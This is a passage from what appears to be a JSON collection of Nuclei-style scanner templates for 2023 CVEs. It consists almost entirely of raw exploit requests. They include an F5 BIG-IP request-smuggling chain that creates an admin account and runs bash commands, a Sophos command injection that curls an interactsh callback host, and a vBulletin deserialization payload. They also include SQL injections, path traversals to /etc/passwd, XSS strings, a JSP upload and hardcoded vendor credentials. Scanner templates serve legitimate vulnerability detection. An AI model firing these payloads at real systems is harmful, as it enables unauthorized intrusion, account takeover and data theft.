    \n\n\n------WebKitFormBoundaryFkpSYDWZ5w9YNjmh--\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns","http"]},{"type":"word","part":"header_2","words":["application/octet-stream"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["csrfToken\":\"([a-z0-9A-Z/+=]+)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2023-46747","info":{"name":"F5 BIG-IP - Unauthenticated RCE via AJP Smuggling","severity":"critical"},"requests":[{"raw":["POST /tmui/login.jsp HTTP/1.1\nHost: {{Hostname}}\nTransfer-Encoding: chunked, chunked\nContent-Type: application/x-www-form-urlencoded\n\n204\n{{ hex_decode(concat(\"0008485454502f312e310000122f746d75692f436f6e74726f6c2f666f726d0000093132372e302e302e310000096c6f63616c686f73740000096c6f63616c686f7374000050000003000b546d75692d44756262756600000b424242424242424242424200000a52454d4f5445524f4c450000013000a00b00096c6f63616c686f73740003000561646d696e000501715f74696d656e6f773d61265f74696d656e6f775f6265666f72653d2668616e646c65723d253266746d756925326673797374656d25326675736572253266637265617465262626666f726d5f706167653d253266746d756925326673797374656d253266757365722532666372656174652e6a737025336626666f726d5f706167655f6265666f72653d26686964654f626a4c6973743d265f62756676616c75653d65494c3452556e537758596f5055494f47634f4678326f30305863253364265f62756676616c75655f6265666f72653d2673797374656d757365722d68696464656e3d5b5b2241646d696e6973747261746f72222c225b416c6c5d225d5d2673797374656d757365722d68696464656e5f6265666f72653d266e616d653d\",username,\"266e616d655f6265666f72653d267061737377643d\",password,\"267061737377645f6265666f72653d2666696e69736865643d782666696e69736865645f6265666f72653d00ff00\")) }}\n0\n\n"],"unsafe":true},{"raw":["PATCH /mgmt/tm/auth/user/{{hex_decode(username)}} HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Basic {{base64(hex_decode(username)+\":\"+hex_decode(password))}}\nContent-Type: application/json\n\n{\"password\": \"{{password2}}\"}\n\n","POST /mgmt/shared/authn/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"username\":\"{{hex_decode(username)}}\", \"password\":\"{{pass}}\"}\n\n","POST /mgmt/tm/util/bash HTTP/1.1\nHost: {{Hostname}}\nX-F5-Auth-Token: {{token}}\nContent-Type: application/json\n\n{\"command\":\"run\",\"utilCmdArgs\":\"-c id\"}\n\n"],"payloads":{"pass":["{{password2}}","{{hex_decode(password)}}"]},"skip-variables-check":true,"stop-at-first-match":true,"extractors":[{"type":"regex","part":"body_2","name":"token","group":1,"regex":["([A-Z0-9]{26})"],"internal":true},{"type":"regex","part":"body_3","group":1,"regex":["\"commandResult\":\"(.*)\""]},{"type":"dsl","dsl":["\"Username:\" + hex_decode(username)","\"Password:\" + pass","\"Token:\" + token"]}],"matchers":[{"type":"word","words":["commandResult","uid="],"condition":"and"}]}]},{"id":"CVE-2023-6444","info":{"name":"Seriously Simple Podcasting < 3.0.0 - Information Disclosure","severity":"medium"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body,\"/wp-content/plugins/seriously-simple-podcasting\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["GET /?feed=itunes HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains_all(body,\"\",\"\")","contains(content_type,\"text/xml\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2023-27179","info":{"name":"GDidees CMS v3.9.1 - Arbitrary File Download","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/_admin/imgdownload.php?filename=imgdownload.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["$filename=$_GET[\"filename\"];","@readfile($filename) OR die();"],"condition":"and"},{"type":"word","part":"header","words":["application/force-download"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-49103","info":{"name":"OwnCloud - Phpinfo Configuration","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/{{rand_base(4)}}.css","{{BaseURL}}/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/{{rand_base(4)}}.css"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["PHP Extension","PHP Version","owncloud"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-40355","info":{"name":"Axigen WebMail - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.hsp?passwordExpired=yes&username=\\'-alert(document.domain),//","{{BaseURL}}/index.hsp?passwordExpired=yes&domainName=\\'-alert(document.domain),//","{{BaseURL}}/index.hsp?m=',alert(document.domain),'"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\\\\'-alert(document.domain),//","',alert(document.domain),'"],"condition":"or"},{"type":"dsl","dsl":["contains(header, \"text/html\")","contains(response, \"Axigen\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2023-30256","info":{"name":"Webkul QloApps 1.5.2 - Cross-site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?rand=1679996611398&controller=authentication&SubmitCreate=1&ajax=true&email_create=a&back=xss%20onfocus%3dalert(document.domain)%20autofocus%3d%20xss&token=6c62b773f1b284ac4743871b300a0c4d"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["xss onfocus=alert(document.domain) autofocus= xss","hasConfirmation"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-34020","info":{"name":"Uncanny Toolkit for LearnDash - Open Redirection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?rest_route=/ult/v2/review-banner-visibility&action=maybe-later&redirect=yes&redirect_url=https://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2023-1671","info":{"name":"Sophos Web Appliance - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /index.php?c=blocked&action=continue HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nargs_reason=filetypewarn&url={{randstr}}&filetype={{randstr}}&user={{randstr}}&user_encoded={{base64(\"\\';curl http://{{interactsh-url}} #\")}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: curl"]}]}]},{"id":"CVE-2023-6568","info":{"name":"Mlflow - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /api/2.0/mlflow/users/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: \n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Invalid content type:"],"condition":"and"},{"type":"word","part":"content_type","words":["text/html"]},{"type":"status","status":[400]}]}]},{"id":"CVE-2023-36306","info":{"name":"Adiscon LogAnalyzer v.4.1.13 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/loganalyzer/asktheoracle.php?type=domain&query=&uid=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(content_type, \"text/html\")","contains(body, \">\") && contains(body, \"Adiscon LogAnalyzer\")"],"condition":"and"}]}]},{"id":"CVE-2023-40748","info":{"name":"PHPJabbers Food Delivery Script - SQL Injection","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/index.php?controller=pjAdminOrders%26action%3dpjActionGetNewOrder%26column%3dcreated%26direction%3dASC%26page%3d1%26rowCount%3d50%26q%3d-1910%27)+OR+6100%3d6100%23%26type%3d"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["class pjAdminOrdersaction","didn't exists"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-30943","info":{"name":"Moodle - Cross-Site Scripting/Remote Code Execution","severity":"medium"},"requests":[{"raw":["GET /lib/editor/tiny/loader.php?rev=a/../../../../html/pix/f/.png HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n","GET /login/index.php HTTP/2\nHost: {{Hostname}}\n","POST /login/index.php HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nanchor=&logintoken={{token}}&username={{username}}&password={{password}}\n","GET /admin/tool/filetypes/edit.php?name=add HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_4","words":["",">archive","File icon"],"condition":"and"},{"type":"word","part":"header_4","words":["text/html"]},{"type":"status","part":"header_4","status":[200]}],"extractors":[{"type":"regex","part":"body","name":"token","group":1,"regex":["name=\"logintoken\" value=\"([a-zA-Z0-9]+)\">"],"internal":true}]}]},{"id":"CVE-2023-6275","info":{"name":"TOTVS Fluig Platform - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/mobileredir/openApp.jsp?redirectUrl=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E","{{BaseURL}}/mobileredir/openApp.jsp?user=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">","fluig://"],"condition":"and"},{"type":"word","part":"content_type","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0527","info":{"name":"Online Security Guards Hiring System - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /search-request.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsearchdata=&search=\n"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(content_type, \"text/html\")","contains(body, \"\")","contains(body, \"Online Security Gauard Hiring System |Search Request\")"],"condition":"and"}]}]},{"id":"CVE-2023-43177","info":{"name":"CrushFTP < 10.5.1 - Unauthenticated Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/WebInterface"],"matchers":[{"type":"dsl","internal":true,"dsl":["contains_all(to_lower(header), \"currentauth\", \"crushauth\")"]}]},{"method":"POST","path":["{{BaseURL}}/WebInterface/function/?command=getUsername&c2f={{http_1_currentauth}}"],"headers":{"Cookie":"CrushAuth={{http_1_crushauth}}; currentAuth={{http_1_currentauth}}","as2-to":"X","user_name":"crushadmin{{dirname}}","user_log_path":"./WebInterface/{{dirname}}/","user_log_file":"{{filename}}","Content-Type":"application/x-www-form-urlencoded"},"body":"post=body\n","matchers":[{"type":"regex","regex":["crushadmin"]}]},{"method":"GET","path":["{{BaseURL}}/WebInterface/{{dirname}}/{{filename}}"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body, \"crushadmin{{dirname}}\")"],"condition":"and"}]}]},{"id":"CVE-2023-0562","info":{"name":"Bank Locker Management System v1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /banker/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=admin%27+AND+4719%3D4719--+GZHh&inputpwd=ABC&login=\n"],"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body, \"admin\")","contains(body, \"BLMS | Dashboard\")"],"condition":"and"}]}]},{"id":"CVE-2023-6380","info":{"name":"OpenCms 14 & 15 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/system/modules/alkacon.mercury.template.jsondemo/elements/jsonapi.jsp?content&fallbackLocale&locale=en&rows=1&uri=http://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2023-45375","info":{"name":"PrestaShop PireosPay - SQL Injection","severity":"high"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body, \"/modules/pireospay/\")"],"condition":"and","internal":true}]},{"raw":["@timeout: 20\nPOST /module/pireospay/validation HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\najax=true&MerchantReference=1%22;select(0x73656c65637420736c6565702836293b)INTO@a;prepare`b`from@a;execute`b`;--\n"],"host-redirects":true,"max-redirects":3,"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 302","contains(content_type, \"text/html\")"],"condition":"and"}]}]},{"id":"CVE-2023-39141","info":{"name":"Aria2 WebUI - Path traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}","{{BaseURL}}/../../../../etc/passwd"],"matchers":[{"type":"dsl","dsl":["contains(body_1, \"Aria2 WebUI\")","regex(\"root:x:0:0:\",body_2)"],"condition":"and"}]}]},{"id":"CVE-2023-48241","info":{"name":"XWiki < 4.10.15 - Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/bin/get/XWiki/SuggestSolrService?outputSyntax=plain&media=json&nb=1000&query=q%3D*%3A*%0Aq.op%3DAND%0Afq%3Dtype%3ADOCUMENT%0Afl%3Dtitle_%2C+reference%2C+links%2C+doccontentraw_%2C+objcontent__&input=+","{{BaseURL}}/xwiki/bin/get/XWiki/SuggestSolrService?outputSyntax=plain&media=json&nb=1000&query=q%3D*%3A*%0Aq.op%3DAND%0Afq%3Dtype%3ADOCUMENT%0Afl%3Dtitle_%2C+reference%2C+links%2C+doccontentraw_%2C+objcontent__&input=+"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{\"reference\":","title_\":"],"condition":"or"},{"type":"dsl","dsl":["contains(body, \"services.localization.render\")","contains(header, \"application/json\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2023-39026","info":{"name":"FileMage Gateway - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/mgmnt/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini"],"matchers":[{"type":"dsl","dsl":["contains_all(body,'bit app support','extensions','fonts')","contains(content_type, 'text/plain')","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2023-42442","info":{"name":"JumpServer > 3.6.4 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/v1/terminal/sessions/"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"terminal\":","\"user_id\":\"","\"account_id\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-34753","info":{"name":"bloofoxCMS v0.5.2.1 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /admin/index.php HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}&action=login\n","@timeout: 10s\nPOST /admin/index.php?mode=settings&page=tmpl&action=edit HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nname=default&template=default.html&css=default.css&template_print=print.html&template_print_css=print.css&template_login=login.html&template_text=text.html&be=0&tid='+AND+(SELECT+7401+FROM+(SELECT(SLEEP(6)))hwrS)--+&send=Save\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["duration>=6","contains(header_2, \"text/html\")","contains(body_2, 'bloofoxCMS Admincenter')"],"condition":"and"}]}]},{"id":"CVE-2023-47253","info":{"name":"Qualitor <= 8.20 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=echo%20system(\"ipconfig\"); HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains_all(body,\"Windows\",\"DNS\")","contains(content_type,\"text/javascript\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2023-3836","info":{"name":"Dahua Smart Park Management - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1\nContent-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT\nHost: {{Hostname}}\n\n--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT\nContent-Disposition: form-data; name=\"upload\"; filename=\"{{random_str}}.jsp\"\nContent-Type: application/octet-stream\nContent-Transfer-Encoding: binary\n\n{{match_str}}\n--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--\n","GET /upload/emap/society_new/{{shell_filename}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_1 == 200 && status_code_2 == 200","contains(body_2, '{{match_str}}')"],"condition":"and"}],"extractors":[{"type":"regex","name":"shell_filename","internal":true,"part":"body_1","regex":["ico_res_(\\w+)_on\\.jsp"]}]}]},{"id":"CVE-2023-47117","info":{"name":"Label Studio - Sensitive Information Exposure","severity":"high"},"requests":[{"raw":["GET /user/login/ HTTP/1.1\nHost: {{Hostname}}\n","POST /user/login/?next=/projects/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ncsrfmiddlewaretoken={{csrf}}&email={{username}}&password={{password}}&persist_session=on\n","PATCH /api/dm/views/{{Task_id}}?interaction=filter&project={{Project_id}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"id\":{{Task_id}},\"data\":{\"title\":\"Tasks\",\"ordering\":[],\"type\":\"list\",\"target\":\"tasks\",\"filters\":{\"conjunction\":\"or\",\"items\":[{\"filter\":\"filter:tasks:updated_by__active_organization__active_users__password\",\"operator\":\"regex\",\"value\":\"^pbkdf2_sha256\\\\$260000\\\\$\",\"type\":\"String\"}]},\"hiddenColumns\":{\"explore\":[],\"labeling\":[]},\"columnsWidth\":{},\"columnsDisplayType\":{},\"gridWidth\":4,\"search_text\":null},\"project\":\"{{Project_id}}\"}\n","GET /api/tasks?page=1&page_size=30&view={{Task_id}}&interaction=filter&project={{Project_id}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains_all(body_4, \"completed_at\", \"file_upload\", \"annotators\")","status_code_3==200 && status_code_4==200","contains(header_4, \"application/json\")"],"condition":"and"}],"extractors":[{"type":"regex","part":"body","name":"csrf","group":1,"regex":["me=\"csrfmiddlewaretoken\" value=\"([a-zA-Z0-9]+)\">"],"internal":true}]}]},{"id":"CVE-2023-22432","info":{"name":"Web2py URL - Open Redirect","severity":"medium"},"requests":[{"raw":["POST /admin/default/index HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\npassword={{password}}&send=%5C%2F%5C%2Foast.pro&login=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["a href=\"\\/\\/oast.pro\""]},{"type":"word","part":"location","words":["\\/\\/oast.pro"]},{"type":"status","status":[303]}]}]},{"id":"CVE-2023-38433","info":{"name":"Fujitsu IP Series - Hardcoded Credentials","severity":"high"},"requests":[{"raw":["GET /b_download/index.html HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Basic {{base64(username + ':' + password)}}\n"],"attack":"pitchfork","payloads":{"username":["fedish264pro","fedish265pro"],"password":["h264pro@broadsight","h265pro@broadsight"]},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Field Support"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-35161","info":{"name":"XWiki >= 6.2-milestone-1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/xwiki/bin/view/AppWithinMinutes/DeleteApplication?appName=Menu&resolve=true&xredirect=javascript:alert(document.domain)","{{BaseURL}}/bin/view/AppWithinMinutes/DeleteApplication?appName=Menu&resolve=true&xredirect=javascript:alert(document.domain)"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["javascript:alert(document.domain)","DeleteApplication","data-xwiki"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200,401]}]}]},{"id":"CVE-2023-25135","info":{"name":"vBulletin <= 5.6.9 - Pre-authentication Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /ajax/api/user/save HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nadminoptions=&options=&password={{randstr}}&securitytoken={{randstr}}&user%5Bemail%5D=pown%40pown.net&user%5Bpassword%5D=password&user%5Bsearchprefs%5D=a%3a2%3a{i%3a0%3bO%3a27%3a\"googlelogin_vendor_autoload\"%3a0%3a{}i%3a1%3bO%3a32%3a\"Monolog\\Handler\\SyslogUdpHandler\"%3a1%3a{s%3a9%3a\"%00*%00socket\"%3bO%3a29%3a\"Monolog\\Handler\\BufferHandler\"%3a7%3a{s%3a10%3a\"%00*%00handler\"%3br%3a4%3bs%3a13%3a\"%00*%00bufferSize\"%3bi%3a-1%3bs%3a9%3a\"%00*%00buffer\"%3ba%3a1%3a{i%3a0%3ba%3a2%3a{i%3a0%3bs%3a14%3a\"CVE-2023-25135\"%3bs%3a5%3a\"level\"%3bN%3b}}s%3a8%3a\"%00*%00level\"%3bN%3bs%3a14%3a\"%00*%00initialized\"%3bb%3a1%3bs%3a14%3a\"%00*%00bufferLimit\"%3bi%3a-1%3bs%3a13%3a\"%00*%00processors\"%3ba%3a2%3a{i%3a0%3bs%3a7%3a\"current\"%3bi%3a1%3bs%3a8%3a\"var_dump\"%3b}}}}&user%5Busername%5D={{randstr}}&userfield=&userid=0\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["string(14)","\"CVE-2023-25135\""],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-6021","info":{"name":"Ray API - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/nodes?view=summary","{{BaseURL}}/api/v0/logs/file?node_id={{nodeid}}&filename=../../../../../etc%2fpasswd&lines=50000"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body_2","regex":["root:.*:0:0:"]},{"type":"word","part":"header_2","words":["text/plain","aiohttp"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"json","part":"body","internal":true,"name":"nodeid","json":["..|objects|.nodeId//empty[0]"]}]}]},{"id":"CVE-2023-45542","info":{"name":"MooSocial 3.1.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/search/index/?q=test%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3etest"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(content_type, \"text/html\")","contains_all(body, \"\", \"mooSocial\")"],"condition":"and"}]}]},{"id":"CVE-2023-35156","info":{"name":"XWiki >= 6.0-rc-1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/xwiki/bin/get/FlamingoThemes/Cerulean?xpage=xpart&vm=delete.vm&xredirect=javascript:alert(document.domain)","{{BaseURL}}/bin/get/FlamingoThemes/Cerulean?xpage=xpart&vm=delete.vm&xredirect=javascript:alert(document.domain)"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["cancel\" href=\"javascript:alert(document.domain)"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200,401]}]}]},{"id":"CVE-2023-2949","info":{"name":"OpenEMR < 7.0.1 - Cross-site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/interface/forms/eye_mag/js/eye_base.php?providerID=%3Cimg%20src=x%20onerror=alert(document.domain);%3E"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(header, \"text/html\")","contains_all(body, \"\", \"openemr\")"],"condition":"and"}]}]},{"id":"CVE-2023-28432","info":{"name":"MinIO Cluster Deployment - Information Disclosure","severity":"high"},"requests":[{"raw":["POST /minio/bootstrap/v1/verify HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"MINIO_ROOT_PASSWORD\":","\"MINIO_ROOT_USER\":","\"MinioEnv\":"],"condition":"or"},{"type":"word","part":"header","words":["text/plain"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-4113","info":{"name":"PHPJabbers Service Booking Script 1.0 - Cross Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?controller=pjFrontPublic&action=pjActionServices&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(content_type, \"text/html\")","contains_all(body, \"Select Service(s)\", \">\")"],"condition":"and"}]}]},{"id":"CVE-2023-2813","info":{"name":"Wordpress Multiple Themes - Reflected Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?s={{str}}%3CIMG%20%22%22%22%3E%3CIMG%20SRC=/%20onerror=%22alert(document.domain)%22%3E%3C/img%3E/{{random}}/"],"matchers-condition":"and","matchers":[{"type":"word","words":["","wp-content/theme"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-23752","info":{"name":"Joomla! Webservice - Password Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/index.php/v1/config/application?public=true","{{BaseURL}}/api/v1/config/application?public=true"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"links\":","\"attributes\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json","application/vnd.api+json"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0947","info":{"name":"Flatpress < 1.3 - Path Traversal","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/fp-content/","{{BaseURL}}/flatpress/fp-content/"],"stop-at-first-match":true,"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body, \"Index of /fp-content\")"],"condition":"and"}]}]},{"id":"CVE-2023-6831","info":{"name":"mlflow - Path Traversal","severity":"high"},"requests":[{"raw":["PUT /api/2.0/mlflow-artifacts/artifacts/{{randstr}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n{{randstr}}\n","DELETE /api/2.0/mlflow-artifacts/artifacts/%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252fpasswd HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header_2","words":["Content-Type: application/json","Server: gunicorn"],"condition":"and"},{"type":"word","part":"body_2","words":["{}"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2023-45855","info":{"name":"qdPM 9.2 - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/uploads/"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Index of /uploads","attachments/"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-20198","info":{"name":"Cisco IOS XE - Authentication Bypass","severity":"critical"},"requests":[{"raw":["POST /%2577eb%2575i_%2577sma_Http HTTP/1.1\nHost: {{Hostname}}\n\n admin***** {{cmd}}"],"matchers":[{"type":"regex","part":"body","regex":["XMLSchema","execLog","Cisco Systems","",""],"condition":"and"}],"extractors":[{"type":"regex","part":"body","group":1,"regex":["\\n(.*)\\["]}]}]},{"id":"CVE-2023-1546","info":{"name":"MyCryptoCheckout < 2.124 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/options-general.php?page=mycryptocheckout&tab=autosettlements&\"> HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"scriptalert(/XSS/)/script\")","contains(body_2, \"mycryptocheckout\")"],"condition":"and"}]}]},{"id":"CVE-2023-40750","info":{"name":"PHPJabbers Yacht Listing Script v1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}/index.php?controller=pjAdmin&action=%3Cimg+src%3Dx+onerror%3Dprompt%28document.domain%29%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","didn't exists"],"condition":"and"},{"type":"word","part":"content_type","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-40208","info":{"name":"Stock Ticker <= 3.23.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=stockticker_load&symbols=MSFT&class=%22+onmousemove%3Dalert%28document.domain%29+\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["stock_ticker","onmousemove=alert(document.domain)"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-2309","info":{"name":"wpForo Forum <= 2.1.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /community/main-forum/?param=%3Cscript%3Ealert(/document.domain/)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains_all(body,\"\",\"wpforo\")","contains(header,\"text/html\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2023-41538","info":{"name":"PHPJabbers PHP Forum Script 3.0 - Cross-Site 